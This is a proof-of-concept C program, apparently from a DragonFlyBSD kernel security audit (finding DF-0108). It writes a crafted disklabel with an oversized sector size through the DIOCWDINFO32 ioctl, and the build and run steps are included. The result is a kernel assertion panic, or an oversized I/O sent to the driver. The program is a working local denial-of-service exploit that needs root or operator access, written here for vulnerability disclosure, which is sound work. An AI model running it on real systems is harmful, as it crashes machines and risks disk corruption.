DragonFlyBSD Kernel Audit
DF-0108 / poc_secsize.c
← back to finding ↓ download raw
/*
 * DF-0108 — Unvalidated d_secsize in l32_writedisklabel.
 *
 * Root/operator-only.  Opens a disk slice device O_RDWR and issues
 * DIOCWDINFO32 with a crafted disklabel32 whose d_secsize exceeds
 * MAXPHYS (the pbuf b_bufsize).  On a GENERIC kernel (INVARIANTS ON)
 * the KKASSERT at subr_disklabel32.c:336 fires and panics the kernel
 * before any I/O is issued:
 *
 *   panic: assertion "(int)lp->d_secsize <= bp->b_bufsize" failed
 *          in l32_writedisklabel at .../subr_disklabel32.c:336
 *
 * On a production kernel (INVARIANTS OFF) the assertion is a no-op
 * and the oversized b_bcount is passed to the device strategy routine.
 *
 * Build:  cc -o poc_secsize poc_secsize.c
 * Run:    ./poc_secsize /dev/vn0s0            (as root/operator)
 */

#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/disklabel32.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <err.h>

#define MAXPHYS		(128 * 1024)

/* dkcksum32() is provided as a static inline by <sys/disklabel32.h>. */

int
main(int argc, char **argv)
{
	const char *dev;
	int fd, rc;
	struct disklabel32 label;

	if (argc != 2)
		errx(1, "usage: %s <slice-dev>   (e.g. /dev/vn0s0)", argv[0]);
	dev = argv[1];

	fd = open(dev, O_RDWR);
	if (fd < 0)
		err(1, "open %s", dev);

	/*
	 * Build a valid-looking disklabel32: magic, valid checksum,
	 * RAW_PART (partition 2) offset==0 (required by l32_setdisklabel
	 * and again by l32_writedisklabel), small partition sizes.
	 *
	 * The hostile field is d_secsize: set it far beyond MAXPHYS so the
	 * KKASSERT "d_secsize <= b_bufsize" fails.
	 */
	memset(&label, 0, sizeof(label));
	label.d_magic  = DISKMAGIC32;
	label.d_magic2 = DISKMAGIC32;
	label.d_type   = 0;		/* DTYPE_SCSI is undefined; field is advisory */
	label.d_secsize      = 0x00200000;	/* 2 MiB >> MAXPHYS (128 KiB) */
	label.d_nsectors     = 64;
	label.d_ntracks      = 16;
	label.d_ncylinders   = 16;
	label.d_secpercyl    = 64 * 16;
	label.d_secperunit   = 100;		/* <= slice size in sectors */
	label.d_npartitions  = 4;
	label.d_bbsize       = 8192;
	label.d_sbsize       = 8192;
	/* partitions: p_size must be <= sp->ds_size ; RAW_PART p_offset==0 */
	label.d_partitions[2].p_size   = 100;	/* RAW_PART */
	label.d_partitions[2].p_offset = 0;
	label.d_partitions[0].p_size   = 50;
	label.d_partitions[1].p_size   = 50;

	/* Fix the checksum so dkcksum32() == 0 */
	label.d_checksum = 0;
	label.d_checksum = dkcksum32(&label);

	printf("[*] device:       %s\n", dev);
	printf("[*] d_secsize:    0x%08x (%u bytes, MAXPHYS=%d)\n",
	    label.d_secsize, label.d_secsize, MAXPHYS);
	printf("[*] b_bufsize:    %d (MAXPHYS)\n", MAXPHYS);
	printf("[*] secsize/bufsize ratio: %.2fx\n",
	    (double)label.d_secsize / (double)MAXPHYS);
	printf("[*] checksum dkcksum32(lp) = 0x%04x (want 0)\n",
	    dkcksum32(&label));
	printf("[*] issuing DIOCWDINFO32 ... "
	    "(GENERIC: expect KKASSERT panic at subr_disklabel32.c:336)\n");
	fflush(stdout);

	rc = ioctl(fd, DIOCWDINFO32, &label);
	printf("[*] ioctl returned rc=%d\n", rc);
	if (rc < 0)
		printf("[!] errno=%d (%s) — no panic; "
		       "either INVARIANTS-OFF (oversized I/O passed to driver) "
		       "or an upstream guard rejected it.\n", errno,
		       strerror(errno));
	close(fd);
	return (rc < 0) ? 1 : 0;
}